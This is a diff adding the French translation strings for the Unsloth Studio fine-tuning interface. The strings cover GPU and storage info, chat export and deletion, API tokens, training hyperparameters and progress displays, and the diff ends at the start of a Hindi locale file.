+        currentLoad: "Charge actuelle",
+        free: "{value} libre",
+        noGpu: "Aucun GPU visible",
+      },
+      gpu: {
+        title: "Périphériques GPU",
+        noGpu:
+          "Aucun GPU visible détecté. Les ressources CPU uniquement sont affichées ci-dessus.",
+        unknownDevice: "GPU inconnu",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} utilisé",
+        free: "{value} libre",
+        total: "{value} au total",
+      },
+      storage: {
+        title: "Stockage",
+        systemDisk: "Disque système",
+        diskUsage: "{used} utilisé / {total}",
+        diskFree: "{free} libre",
+        modelsFolder: "Dossier des modèles",
+        modelsFolderDescription: "Emplacement de stockage des modèles téléchargés.",
+        openAction: "Ouvrir",
+        copyAction: "Copier le chemin",
+        copied: "Chemin copié",
+        openError: "Impossible d'ouvrir le dossier",
+        copyError: "Impossible de copier le chemin",
+      },
+      environment: {
+        title: "Environnement",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Temps de fonctionnement",
+        processMemory: "Mémoire du processus",
+        notInstalled: "Non installé",
+        unknown: "Inconnu",
+      },
+    },
+    chat: {
+      title: "Discussion",
+      description: "Gérez l'historique des discussions stocké sur cet appareil.",
+      modelDisclaimer: "Afficher l'avertissement du modèle",
+      modelDisclaimerDescription:
+        'Afficher "Les LLM peuvent faire des erreurs" sous la zone de discussion.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Réduire les blocs HTML",
+        collapseHtmlBlocksDescription:
+          "Le mode Canvas réduit automatiquement le HTML complet. Activez ceci pour aussi réduire les documents HTML encadrés lorsque Canvas est désactivé.",
+        allowNetworkAccess: "Autoriser l'accès réseau du canvas",
+        allowNetworkAccessDescription:
+          "Permettre aux aperçus de canvas de charger scripts, styles, polices, médias et ressources réseau depuis des CDN. Gardez désactivé pour des aperçus entièrement hors ligne.",
+      },
+      data: "Données",
+      exportHistory: "Exporter l'historique des discussions",
+      exportHistoryDescription:
+        "Télécharger toutes les discussions et messages au format JSON.",
+      exportAction: "Exporter",
+      exportingAction: "Exportation...",
+      exportConversations: "Exporter Récents et Projets",
+      exportConversationsDescription:
+        "Télécharger Récents ou Récents plus les discussions de projet au format JSONL brut, CSV ou JSONL ShareGPT, combinés ou par discussion.",
+      exportConversationsAction: "Exporter",
+      exportScopeRecents: "Récents",
+      exportScopeAll: "Récents + Projets",
+      exportCombinedSuffix: "(combiné)",
+      exportPerChatSuffix: "(par discussion)",
+      importChats: "Importer des discussions",
+      importChatsDescription:
+        "Importer un export JSONL, NDJSON ou CSV dans Récents.",
+      importChatsAction: "Importer",
+      importNoConversations: "Aucune conversation trouvée dans le fichier.",
+      importedOneChat: "1 conversation importée dans Récents.",
+      importedChatCount: "{count} conversations importées dans Récents.",
+      importFailed: "Échec de l'importation.",
+      clearHistory: "Effacer l'historique des discussions",
+      clearHistoryDescription:
+        "Supprimer l'historique des discussions de cet appareil.",
+      clearAction: "Effacer",
+      clearAllChats: "Effacer toutes les discussions",
+      clearAllChatsDescription:
+        "Supprimer définitivement toutes les discussions de cet appareil.",
+      noChatsToClear: "Aucune discussion à effacer.",
+      clearOneChatDescription:
+        "Supprimer définitivement la seule discussion de cet appareil.",
+      clearChatCountDescription:
+        "Supprimer définitivement les {count} discussions de cet appareil.",
+      clearChatsAction: "Effacer les discussions",
+      clearOneChatTitle: "Effacer 1 discussion ?",
+      clearChatsTitle: "Effacer {count} discussions ?",
+      clearChatsConfirmDescription:
+        "Supprime définitivement toutes les discussions de cet appareil. Cette action est irréversible.",
+      clearingAction: "Effacement...",
+      clearOneChatAction: "Effacer 1 discussion",
+      clearChatCountAction: "Effacer {count} discussions",
+      clearedAllChats: "Toutes les discussions ont été effacées",
+      clearedOneChat: "1 discussion effacée",
+      clearedChatCount: "{count} discussions effacées",
+      someChatsCouldNotBeCleared:
+        "Certaines discussions n'ont pas pu être effacées",
+      chatsClearedRemainOne:
+        "{clearedCount} discussions effacées ; 1 discussion reste. Veuillez réessayer.",
+      chatsClearedRemain:
+        "{clearedCount} discussions effacées ; {remainingCount} discussions restent. Veuillez réessayer.",
+      oneChatClearedRemain:
+        "1 discussion effacée ; {remainingCount} discussions restent. Veuillez réessayer.",
+      oneChatClearedRemainOne:
+        "1 discussion effacée ; 1 discussion reste. Veuillez réessayer.",
+      storageClearFailedOne:
+        "Un effacement du stockage a échoué ; 1 discussion peut rester. Veuillez réessayer.",
+      storageClearFailed:
+        "Un effacement du stockage a échoué ; {count} discussions peuvent rester. Veuillez réessayer.",
+      failedToClearChats: "Échec de l'effacement des discussions",
+    },
+    connections: {
+      title: "Connexions",
+      description: "Gérez les fournisseurs et les connexions externes.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Accédez à Unsloth via l'API compatible OpenAI.",
+      readDocs: "Lire la documentation de l'API",
+      noAccess: "Aucun accès API pour le moment.",
+      accessTokens: "Tokens d'accès",
+      loadError: "Impossible de charger l'accès API.",
+      createError: "Impossible de créer le token d'accès.",
+      revokeError: "Impossible de révoquer le token d'accès.",
+      never: "Jamais",
+      tokenNamePlaceholder: "Nom du token (ex. production)",
+      newAccessTokenName: "Nom du nouveau token d'accès",
+      createToken: "Créer un token",
+      creating: "Création...",
+      newTokenCreated: "Nouveau token d'accès créé",
+      accessTokenCopied: "Token d'accès copié",
+      copyAccessToken: "Copier le token d'accès",
+      copyNow: "Copiez maintenant - il ne sera plus affiché.",
+      usageExamples: "Exemples d'utilisation",
+      usageTools: "Outils",
+      exampleCurlTools: "curl + outils",
+      examplePythonTools: "Python + outils",
+      exampleJavaScriptTools: "JavaScript + outils",
+      exampleCurlAdvanced: "curl + avancé",
+      examplePythonAdvanced: "Python + avancé",
+      exampleJavaScriptAdvanced: "JavaScript + avancé",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS sécurisé",
+      secureHttpsHint:
+        "Le port 0.0.0.0 reste accessible globalement. Pour une sécurité complète, lancez Unsloth Studio avec --secure afin de n'exposer que ce lien HTTPS.",
+      copyTunnelUrl: "Copier l'URL du tunnel",
+      copySnippet: "Copier l'extrait",
+      copy: "Copier",
+      copied: "Copié",
+      setupDocs: "Documentation de configuration :",
+      codingAgents: "Agents de codage",
+      codingAgentsHint:
+        "Lancez un agent de codage sur ce serveur. Il utilise le modèle chargé ; un serveur local génère automatiquement une clé API, un serveur distant l'inclut dans la commande.",
+      codingAgentsSwap:
+        "Remplacez claude par codex, openclaw, opencode, hermes ou pi.",
+      codingAgentDetected: "Installé sur cette machine",
+      codingAgentsDetectedHint: "Détecté sur cette machine : {agents}.",
+      relativeNever: "jamais",
+      relativeJustNow: "à l'instant",
+      relativeHoursAgo: "il y a {count} h",
+      relativeDaysAgo: "il y a {count} j",
+      relativeMonthsAgo: "il y a {count} mois",
+      relativeYearsAgo: "il y a {count} an(s)",
+      expired: "expiré",
+      today: "aujourd'hui",
+      inDays: "dans {count} j",
+      created: "Créé {value}",
+      used: "Utilisé {value}",
+      expires: "Expire {value}",
+      actionsFor: "Actions pour {name}",
+      copyPrefix: "Copier le préfixe",
+      revokeToken: "Révoquer le token",
+      revokeTitle: 'Révoquer le token d\'accès "{name}" ?',
+      revokeDescription:
+        "Les applications utilisant ce token perdent immédiatement l'accès. Cette action est irréversible.",
+      revokeAction: 'Révoquer "{name}"',
+      revoking: "Révocation...",
+    },
+    about: {
+      title: "À propos",
+      description:
+        "Documentation, notes de version, retours et informations de build.",
+      studioVersion: "Version d'Unsloth",
+      packageVersion: "Version du paquet",
+      llamaCppVersion: "Version de llama.cpp",
+      hardware: "Matériel",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Mise à jour",
+      help: "Aide",
+      documentation: "Documentation",
+      releaseNotes: "Notes de version",
+      whatsNew: "Nouveautés",
+      feedback: "Retours",
+      reportIssue: "Signaler un problème",
+      license: {
+        sectionTitle: "Licence",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Open source sous licence GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Sous licence Apache 2.0.",
+      },
+      dangerZone: "Zone de danger",
+      shutDownStudio: "Arrêter Unsloth Studio",
+      shutDownStudioDescription:
+        "Arrête le serveur Unsloth et met fin à votre session.",
+      shutDown: "Arrêter",
+      update: {
+        title: "Mettre à jour Unsloth Studio",
+        commandText: "Texte de {label}",
+        copied: "Copié",
+        copyCommand: "Copier la commande",
+        commandCopied: "{label} copié",
+        copyNamedCommand: "Copier {label}",
+        checkingInstall: "Vérification du mode d'installation d'Unsloth...",
+        installIntro: "Pour installer ou mettre à jour Unsloth :",
+        localUpdateHeading: "Mise à jour locale",
+        installCommandUnix: "Commande d'installation macOS/Linux",
+        installCommandWindows: "Commande d'installation Windows",
+        localInstallDetected:
+          "Installation locale détectée. Mettez à jour depuis votre checkout d'origine pour éviter de le remplacer par PyPI.",
+        pullThenUpdate:
+          "Récupérez les dernières modifications, puis lancez l'installateur local :",
+        gitPullCommand: "commande git pull",
+        localInstallerCommand: "commande de l'installateur local",
+        sourceInstallDetected:
+          "Installation depuis la source ou un paquet VCS détectée. Réinstallez depuis le chemin local d'origine ou l'URL Git.",
+        repoCheckoutFallback:
+          "Si vous avez encore le checkout du dépôt, lancez l'installateur local depuis celui-ci :",
+        restartAfterUpdate: "Redémarrez Unsloth après la mise à jour.",
+        desktopManaged:
+          "L'application de bureau maintient son backend intégré à jour et vous avertira lorsqu'une nouvelle version sera disponible.",
+        unknownInstall:
+          "Impossible de détecter le mode d'installation d'Unsloth. Pour les installations via installateur ou PyPI, utilisez les commandes ci-dessus.",
+        localCheckout:
+          "Pour les installations depuis un checkout local, lancez l'installateur local depuis ce checkout :",
+        docs: "Documentation d'installation :",
+        docsInstall: "Installation",
+        docsUpdating: "Mise à jour",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Entraîner",
+    title: "Studio de fine-tuning",
+    subtitles: {
+      configure: "Configurer et démarrer l'entraînement",
+      trainingInProgress: "Entraînement en cours",
+      viewPastRuns: "Voir les entraînements passés",
+      viewingPastRun: "Consultation d'un entraînement passé",
+    },
+    tabs: {
+      configure: "Configurer",
+      currentRun: "Entraînement actuel",
+      history: "Historique",
+    },
+    loadingRuntime: "Chargement de l'environnement d'entraînement...",
+    backToHistory: "Retour à l'historique",
+    sections: {
+      model: "Modèle",
+      dataset: "Jeu de données",
+      params: "Paramètres",
+      training: "Entraînement",
+      charts: "Graphiques",
+      progress: "Progression de l'entraînement",
+    },
+    configure: {
+      title: "Configurer",
+      description:
+        "Choisissez un modèle, un jeu de données et les paramètres d'entraînement.",
+      startTraining: "Démarrer l'entraînement",
+      starting: "Démarrage...",
+      loadingModel: "Chargement du modèle...",
+      checkingDataset: "Vérification du jeu de données...",
+      trainingConfig: "Configuration d'entraînement",
+    },
+    model: {
+      title: "Modèle",
+      description: "Sélectionnez le modèle de base et la méthode d'entraînement",
+      fasterTrainingBadge: "Entraînement 2x plus rapide",
+      baseModel: "Modèle de base",
+      localModel: "Modèle local",
+      localModelTooltip:
+        "Chemin vers un modèle téléchargé localement ou un dépôt HF personnalisé.",
+      scanningLocalAndCachedModels:
+        "Analyse des modèles locaux et en cache...",
+      scanning: "Analyse...",
+      scanningLocalModels: "Analyse des modèles locaux...",
+      noLocalModelsFound: "Aucun modèle local trouvé",
+      noLocalModelsFoundManual:
+        "Aucun modèle local trouvé. Saisissez le chemin manuellement.",
+      failedToLoadLocalModels: "Échec du chargement des modèles locaux",
+      hfCache: "Cache HF",
+      customFolders: "Dossiers personnalisés",
+      localDir: "Répertoire local",
+      huggingFaceModel: "Modèle Hugging Face",
+      huggingFaceModelTooltip:
+        "Recherchez des modèles Hugging Face ou choisissez dans notre liste recommandée.",
+      searchModels: "Rechercher des modèles...",
+      searching: "Recherche...",
+      noModelsFound: "Aucun modèle trouvé",
+      needsVram: "Nécessite ~{vram} Go de VRAM (GPU : {gpu} Go)",
+      tightVram: "~{vram} Go de VRAM (juste sur {gpu} Go)",
+      vramEstimate: "~{vram} Go de VRAM",
+      method: "Méthode",
+      methodTooltip:
+        "QLoRA utilise la quantification 4 bits pour la VRAM la plus faible. LoRA utilise 16 bits. Full met à jour tous les poids. CPT (Continued Pretraining) entraîne sur du texte brut pour adapter le modèle à un nouveau domaine sans formatage de discussion.",
+      readMore: "En savoir plus",
+      fullFineTune: "Fine-tune complet",
+      checkingToken: "Vérification du token...",
+      getOrUpdateToken: "Obtenir ou mettre à jour le token",
+      huggingFaceTokenOptional: "Token Hugging Face (facultatif)",
+      continuedPretraining: "Pré-entraînement continu",
+      localModels: "Modèles locaux",
+      localModelsFound: "{count} modèles locaux/en cache trouvés",
+      loadingLocalModels: "Chargement des modèles locaux...",
+    },
+    dataset: {
+      title: "Jeu de données",
+      description: "Sélectionnez ou téléversez des données d'entraînement",
+      source: "Source du jeu de données",
+      chooseDataset: "Choisir un jeu de données",
+      chooseDatasetTooltip:
+        "Utilisez les onglets de la fenêtre pour basculer entre Hugging Face et les sorties de recettes locales.",
+      localTab: "Local",
+      searchHuggingFaceDatasets: "Rechercher des jeux de données Hugging Face...",
+      searchLocalDatasets: "Rechercher des jeux de données locaux...",
+      searching: "Recherche...",
+      noDatasetsFound: "Aucun jeu de données trouvé",
+      loadingLocalDatasets: "Chargement des jeux de données locaux...",
+      failedToLoadLocalDatasets:
+        "Échec du chargement des jeux de données locaux.",
+      noLocalDatasetsYet: "Aucun jeu de données local pour le moment.",
+      noLocalDatasetsMatchSearch:
+        "Aucun jeu de données local ne correspond à la recherche.",
+      openDataRecipes: "Ouvrir Data Recipes",
+      browsingSource:
+        "Navigation dans {browsing}. La sélection actuelle reste {current}.",
+      localDatasets: "Jeux de données locaux",
+      localDataset: "Jeu de données local",
+      localDatasetRows: " / {count} lignes",
+      huggingFaceDataset: "Jeu de données Hugging Face",
+      localDatasetMetadata: "Métadonnées du jeu de données local",
+      dataRecipeOutput: "Sortie de Data Recipe.",
+      rows: "Lignes",
+      columns: "Colonnes",
+      batches: "Batchs",
+      updated: "Mis à jour",
+      evalDataset: "Jeu de données d'évaluation",
+      uploading: "Téléversement...",
+      upload: "Téléverser",
+      uploadEvalFile: "Téléverser un fichier d'évaluation",
+      evalDatasetDescription:
+        "Facultatif. Si non fourni, une petite portion sera prélevée sur les données d'entraînement.",
+      advanced: "Avancé",
+      targetFormat: "Format cible",
+      targetFormatTooltip:
+        "Format de vos données d'entraînement. La détection automatique fonctionne pour la plupart des jeux de données.",
+      auto: "Auto",
+      rawText: "Texte brut",
+      trainSplitStart: "Début du split d'entraînement",
+      trainSplitStartTooltip:
+        "N'entraîner que sur un sous-ensemble de votre split d'entraînement en spécifiant un indice de ligne de départ (inclus, base 0). Laissez vide pour commencer à la première ligne.",
+      trainSplitEnd: "Fin du split d'entraînement",
+      trainSplitEndTooltip:
+        "Dernier indice de ligne à inclure du split d'entraînement (inclus, base 0). Par exemple, définissez Début à 0 et Fin à 99 pour entraîner sur les 100 premières lignes. Laissez vide pour utiliser toutes les lignes restantes.",
+      endPlaceholder: "Fin",
+      clear: "Effacer",
+      dropFileOrClick: "Déposez 1 fichier ici ou cliquez pour téléverser",
+      viewDataset: "Voir le jeu de données",
+      uploadFailed: "Échec du téléversement",
+      unknownError: "Erreur inconnue",
+      unsupportedFileType: "Type de fichier non pris en charge",
+      uploadOneFileType: "Téléversez un fichier {types}.",
+      datasetUploaded: "Jeu de données téléversé",
+      evalDatasetUploaded: "Jeu de données d'évaluation téléversé",
+      uploadOneFileAtATime: "Téléversez un fichier à la fois",
+      uploadSingleFileDescription:
+        "Le téléversement du jeu de données d'entraînement accepte un seul fichier.",
+      checkingToken: "Vérification du token...",
+      getOrUpdateToken: "Obtenir ou mettre à jour le token",
+      preview: "Aperçu du jeu de données",
+      split: "Split",
+      subset: "Sous-ensemble",
+      s3: {
+        title: "Configuration S3",
+        description:
+          "Charger des jeux de données .parquet, .json, .jsonl ou .csv depuis Amazon S3",
+        bucket: "Nom du bucket",
+        bucketPlaceholder: "mon-bucket-donnees-entrainement",
+        region: "Région AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Préfixe de chemin",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip:
+          "Chemin facultatif dans le bucket vers vos fichiers de jeu de données",
+        accessKeyId: "ID de clé d'accès",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Clé d'accès secrète",
+        secretAccessKeyPlaceholder: "Votre clé d'accès secrète AWS",
+        useIamRole: "Utiliser un rôle IAM",
+        useIamRoleTooltip:
+          "Utiliser les identifiants d'un rôle IAM au lieu de clés d'accès (recommandé pour EC2/SageMaker)",
+        testConnection: "Tester la connexion",
+        connectionSuccess: "Connexion au bucket S3 réussie",
+        connectionFailed: "Échec de la connexion au bucket S3",
+        comingSoon: "Intégration S3 bientôt disponible",
+        comingSoonDescription:
+          "Le chargement de jeux de données S3 nécessite boto3. Cette fonctionnalité est en cours de développement.",
+      },
+    },
+    params: {
+      title: "Paramètres",
+      description: "Configurez les hyperparamètres d'entraînement",
+      projectName: "Nom du projet",
+      optional: "Facultatif",
+      projectNameDescription:
+        "Utilisé dans les noms des dossiers de sortie d'entraînement, les valeurs d'export par défaut et l'historique.",
+      loraSettings: "Paramètres LoRA",
+      trainingHyperparameters: "Hyperparamètres d'entraînement",
+      maxSteps: "Nombre max d'étapes",
+      epochs: "Époques",
+      useMaxSteps: "Utiliser le nombre max d'étapes",
+      useEpochs: "Utiliser les époques",
+      maxStepsTooltip: "Remplace le nombre total d'étapes d'optimisation.",
+      epochsTooltip: "Nombre de passages complets sur le jeu de données.",
+      epochsDescription:
+        "Chaque époque est un passage complet sur votre jeu de données.",
+      maxStepsDescription:
+        "Limite l'entraînement à un nombre fixe d'étapes d'optimisation.",
+      contextLength: "Longueur de contexte",
+      contextLengthTooltip:
+        "Nombre maximal de tokens par échantillon d'entraînement.",
+      customContextLength: "Saisir une valeur personnalisée",
+      contextLengthDescription:
+        "Longueur de séquence maximale pour les échantillons d'entraînement",
+      learningRate: "Taux d'apprentissage",
+      learningRateTooltip:
+        "Taille du pas pour les mises à jour des poids. Des valeurs plus faibles entraînent plus lentement mais de manière plus stable.",
+      learningRateDescription:
+        "Recommandé : 2e-4 pour LoRA, 5e-5 pour CPT, 2e-5 pour le fine-tune complet",
+      embeddingLearningRate: "Taux d'apprentissage des embeddings",
+      embeddingLearningRateTooltip:
+        "Utilisé uniquement lorsque CPT entraîne embed_tokens. Les embeddings sont plus faciles à déstabiliser que les poids LoRA, ils nécessitent donc généralement un taux plus faible. Laissez vide pour utiliser lr/10 ; la plage typique est 2x à 10x plus petite que le taux principal. Augmentez-le seulement si l'adaptation du vocabulaire ou des tokens de domaine est trop lente.",
+      embeddingLearningRateDescription:
+        "Laissez vide pour utiliser lr/10 (recommandé). La plage typique est 2x à 10x plus petite que le taux d'apprentissage principal.",
+      rank: "Rang",
+      rankTooltip:
+        "Dimension des matrices de bas rang. Plus élevé = plus de capacité.",
+      alpha: "Alpha",
+      alphaTooltip:
+        "Facteur d'échelle pour les mises à jour LoRA. Généralement 2x le rang.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilité de dropout pour les couches LoRA afin de réduire le surapprentissage.",
+      visionLayers: "Couches de vision",
+      languageLayers: "Couches de langage",
+      attentionModules: "Modules d'attention",
+      mlpModules: "Modules MLP",
+      targetModules: "Modules cibles",
+      enableLora: "Activer LoRA",
+      trainWithLora: "Entraîner avec LoRA",
+      stableRank: "Rang stable",
+      memoryEfficient: "Économe en mémoire",
+      optimization: "Optimisation",
+      schedule: "Planification",
+      memory: "Mémoire",
+      optimizer: "Optimiseur",
+      optimizerTooltip:
+        "Algorithme d'optimisation. Les variantes 8 bits réduisent l'usage mémoire. Fused est recommandé pour les modèles de vision.",
+      lrScheduler: "Planificateur de taux d'apprentissage",
+      lrSchedulerTooltip:
+        "Comment le taux d'apprentissage évolue au cours de l'entraînement. Linear décroît régulièrement ; cosine décroît selon une courbe.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8 bits",
+        pagedAdamw8bit: "Paged AdamW 8 bits",
+        adamwBnb8bit: "AdamW BNB 8 bits",
+        pagedAdamw32bit: "Paged AdamW 32 bits",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linéaire",
+        cosine: "Cosinus",
+      },
+      batchSize: "Taille de batch",
+      batchSizeTooltip:
+        "Échantillons traités par étape. Plus élevé utilise plus de VRAM.",
+      gradAccum: "Accumulation de gradient",
+      gradAccumTooltip:
+        "Simule des tailles de batch plus grandes sans VRAM supplémentaire.",
+      weightDecay: "Décroissance des poids",
+      weightDecayTooltip:
+        "Régularisation L2 pour prévenir le surapprentissage.",
+      warmupSteps: "Étapes de préchauffage",
+      warmupStepsTooltip:
+        "Augmenter progressivement le taux d'apprentissage au début de l'entraînement pour plus de stabilité.",
+      scheduleEpochsTooltip:
+        "Nombre de passages complets sur le jeu de données. Définissez 0 pour fonctionner par nombre max d'étapes.",
+      saveSteps: "Étapes de sauvegarde",
+      saveStepsTooltip:
+        "Enregistrer un checkpoint toutes les N étapes. 0 pour désactiver.",
+      evalSteps: "Étapes d'évaluation",
+      evalStepsTooltip:
+        "Fraction du nombre total d'étapes d'entraînement entre les évaluations (0-1). Définissez 0 pour désactiver l'évaluation. Ex. 0,01 = évaluer tous les 1 % d'étapes.",
+      seed: "Graine",
+      seedTooltip: "Graine aléatoire pour la reproductibilité.",
+      gradCheckpoint: "Checkpoint de gradient",
+      gradCheckpointTooltip:
+        "Échanger du calcul contre de la mémoire en recalculant les activations.",
+      none: "Aucun",
+      standard: "Standard",
+      enablePacking: "Activer le packing",
+      assistantCompletionsOnly: "Complétions de l'assistant uniquement",
+      readMore: "En savoir plus",
+    },
+    training: {
+      title: "Entraînement",
+      description: "Surveillez et contrôlez l'entraînement",
+      chartNoDataTitle: "Aucune donnée d'entraînement pour le moment",
+      chartNoDataDescription:
+        "Démarrez l'entraînement pour voir la progression de la perte",
+      startTraining: "Démarrer l'entraînement",
+      starting: "Démarrage...",
+      loadingModel: "Chargement du modèle...",
+      checkingDataset: "Vérification du jeu de données...",
+      configLabel: "Configuration d'entraînement",
+      upload: "Téléverser",
+      uploadConfigTooltip: "Charger une configuration YAML enregistrée",
+      save: "Enregistrer",
+      saveConfigTooltip: "Télécharger la configuration actuelle au format YAML",
+      reset: "Réinitialiser",
+      resetConfigTooltip: "Réinitialiser aux valeurs par défaut du modèle",
+      configLoaded: "Configuration chargée",
+      failedToLoadConfig: "Échec du chargement de la configuration",
+      invalidYamlFile: "Fichier YAML invalide",
+      failedToReadFile: "Échec de la lecture du fichier",
+      parametersReset: "Paramètres réinitialisés aux valeurs par défaut du modèle",
+      audioIncompatible:
+        "Ce modèle ne prend pas en charge l'audio. Passez à un modèle compatible audio ou choisissez un jeu de données sans audio.",
+      visionIncompatible:
+        "Un modèle textuel n'est pas compatible avec un jeu de données multimodal. Passez à un modèle de vision ou choisissez un jeu de données uniquement textuel.",
+      cancelTitle: "Annuler l'entraînement",
+      cancelDescription: "Voulez-vous annuler l'entraînement en cours ?",
+      continueAction: "Continuer l'entraînement",
+      cancelAction: "Annuler l'entraînement",
+      stopTitle: "Arrêter l'entraînement",
+      stopDescription:
+        "Choisissez comment vous souhaitez arrêter l'entraînement en cours.",
+      stopAction: "Arrêter",
+      stopping: "Arrêt...",
+      stopAndSave: "Arrêter et enregistrer",
+      compareInChat: "Comparer dans la discussion",
+      exportModel: "Exporter le modèle",
+      milestone: "Étape clé",
+      halfwayDone: "À mi-chemin. L'entraînement a dépassé 50 %.",
+      doneNextStep:
+        "Entraînement terminé. Étape suivante : comparer les sorties de base et affinées.",
+    },
+    history: {
+      title: "Historique",
+      emptyTitle: "Aucun entraînement pour le moment",
+      emptyDescription:
+        "Aucun entraînement pour le moment. Démarrez votre premier entraînement dans l'onglet Configurer.",
+      loadError: "Échec du chargement des entraînements",
+      deleteError:
+        "Échec de la suppression de l'entraînement. Veuillez réessayer.",
+      retry: "Réessayer",
+      loadMore: "Charger plus",
+      loading: "Chargement...",
+      loadingRun: "Chargement de l'entraînement...",
+      runNotFound: "Entraînement introuvable",
+      deleteTitle: "Supprimer l'entraînement ?",
+      deleteDescription:
+        "Cette action supprimera définitivement cet entraînement et toutes ses métriques. Elle est irréversible.",
+      runCount: "{count} entraînements",
+      oneRun: "1 entraînement",
+      resume: "Reprendre",
+      resumeTraining: "Reprendre l'entraînement",
+      resuming: "Reprise...",
+      deleteRun: "Supprimer l'entraînement",
+      loss: "Perte",
+      steps: "Étapes",
+      lossTrendSparkline: "Sparkline de tendance de la perte",
+      relativeJustNow: "à l'instant",
+      relativeMinutesAgo: "il y a {count} min",
+      relativeHoursAgo: "il y a {count} h",
+      relativeDaysAgo: "il y a {count} j",
+      status: {
+        completed: "Terminé",
+        stopped: "Arrêté",
+        error: "Erreur",
+        running: "En cours",
+        continued: "Poursuivi",
+      },
+      message: {
+        completed: "Entraînement terminé",
+        stopped: "Entraînement arrêté",
+        running: "Entraînement en cours",
+        errored: "Erreur d'entraînement",
+      },
+      copyPreviewLink: "Copier le lien d'aperçu",
+      previewLinkCopied: "Lien d'aperçu copié",
+      previewLinkCopyFailed: "Impossible de copier le lien",
+    },
+    charts: {
+      settings: "Paramètres des graphiques",
+      settingsDescription:
+        "Ajustez la présentation des graphiques pendant que l'entraînement continue.",
+      openSettings: "Ouvrir les paramètres des graphiques",
+      viewWindow: "Fenêtre d'affichage",
+      viewWindowDescription:
+        "Afficher uniquement les dernières étapes ou tout l'historique.",
+      window: "Fenêtre",
+      all: "Tout",
+      trainingLoss: "Perte d'entraînement",
+      trainingLossDescription: "Contrôlez les superpositions et le lissage EMA.",
+      smoothing: "Lissage",
+      smoothingDescription:
+        "Déplacez vers la droite pour plus de lissage. `0` = brut.",
+      showRawLoss: "Afficher la perte brute",
+      showSmoothedLoss: "Afficher la perte lissée",
+      showAverageLine: "Afficher la ligne moyenne",
+      scaleAndCleanup: "Échelle et nettoyage",
+      linear: "Linéaire",
+      log: "Log",
+      noClip: "Sans écrêtage",
+      clipP99: "Écrêter p99",
+      clipP95: "Écrêter p95",
+      lossAxis: "Axe de la perte",
+      gradientNormAxis: "Axe de la norme du gradient",
+      learningRateAxis: "Axe du taux d'apprentissage",
+      resetDefaults: "Réinitialiser par défaut",
+      loss: "Perte",
+      smoothed: "Lissé",
+      evalLoss: "Perte d'évaluation",
+      learningRate: "Taux d'apprentissage",
+      lr: "LR",
+      gradNorm: "Norme du gradient",
+      gradientNorm: "Norme du gradient",
+      step: "Étape {step}",
+      averageValue: "moy {value}",
+      waitingForFirstEvaluationStep:
+        "En attente de la première étape d'évaluation...",
+      evaluationNotConfigured: "Évaluation non configurée",
+      evalChartWillAppear:
+        "Le graphique apparaîtra une fois eval_steps atteint",
+      setEvalDatasetAndSteps:
+        "Définissez le jeu de données d'évaluation et eval_steps pour suivre la perte d'évaluation",
+    },
+    progress: {
+      title: "Progression de l'entraînement",
+      liveMetrics: "Métriques d'entraînement en direct",
+      exportGguf: "Exporter en GGUF",
+      openConfig: "Ouvrir la configuration d'entraînement",
+      configLabel: "Configuration d'entraînement",
+      hyperparams: "Hyperparamètres",
+      epochs: "Époques",
+      batchSize: "Taille de batch",
+      learningRate: "Taux d'apprentissage",
+      optimizer: "Optimiseur",
+      maxSteps: "Nombre max d'étapes",
+      contextLength: "Longueur de contexte",
+      warmupSteps: "Étapes de préchauffage",
+      rank: "Rang",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Époque {value}",
+      percentComplete: "{percent} % terminé",
+      stepProgress: "Étape {current} / {total}",
+      loss: "Perte",
+      lr: "LR",
+      gradNorm: "Norme du gradient",
+      project: "Projet",
+      model: "Modèle",
+      method: "Méthode",
+      elapsed: "Écoulé : {value}",
+      eta: "ETA : {value}",
+      stepsPerSecond: "{value} étapes/s",
+      noStepsPerSecond: "-- étapes/s",
+      tokens: "Tokens : {value}",
+      gpuMonitor: "Moniteur GPU",
+      live: "En direct",
+      utilization: "Utilisation",
+      temperature: "Température",
+      vram: "VRAM",
+      power: "Puissance",
+      phase: {
+        idle: "Inactif",
+        downloadingModel: "Téléchargement du modèle",
+        downloadingDataset: "Téléchargement du jeu de données",
+        loadingModel: "Chargement du modèle",
+        loadingDataset: "Chargement du jeu de données",
+        configuring: "Configuration",
+        training: "Entraînement",
+        completed: "Terminé",
+        error: "Erreur",
+        stopped: "Arrêté",
+      },
+    },
+    trainingStart: {
+      ready: "Prêt",
+      downloading: "Téléchargement",
+      preparing: "Préparation",
+      left: "{eta} restant",
+      downloaded: "{size} téléchargé",
+      terminalStart: "> l'entraînement unsloth démarre...",
+      preparingResources: "> Préparation du modèle et du jeu de données...",
+      gettingReady: "> Nous préparons tout pour votre entraînement...",
+      waitingForFirstStep:
+        "> {message} | en attente de la première étape... ({step})",
+      resumingTraining: "Reprise de l'entraînement...",
+      startingTraining: "démarrage de l'entraînement...",
+      dataset: "Jeu de données",
+      datasetStreaming: "Jeu de données : streaming (pas de téléchargement complet)",
+      modelWeights: "Poids du modèle",
+    },
+    tour: {
+      guidedTour: "Visite guidée",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/hi.ts b/studio/frontend/src/i18n/locales/hi.ts
new file mode 100644
index 0000000000..bb8cb70fea
--- /dev/null
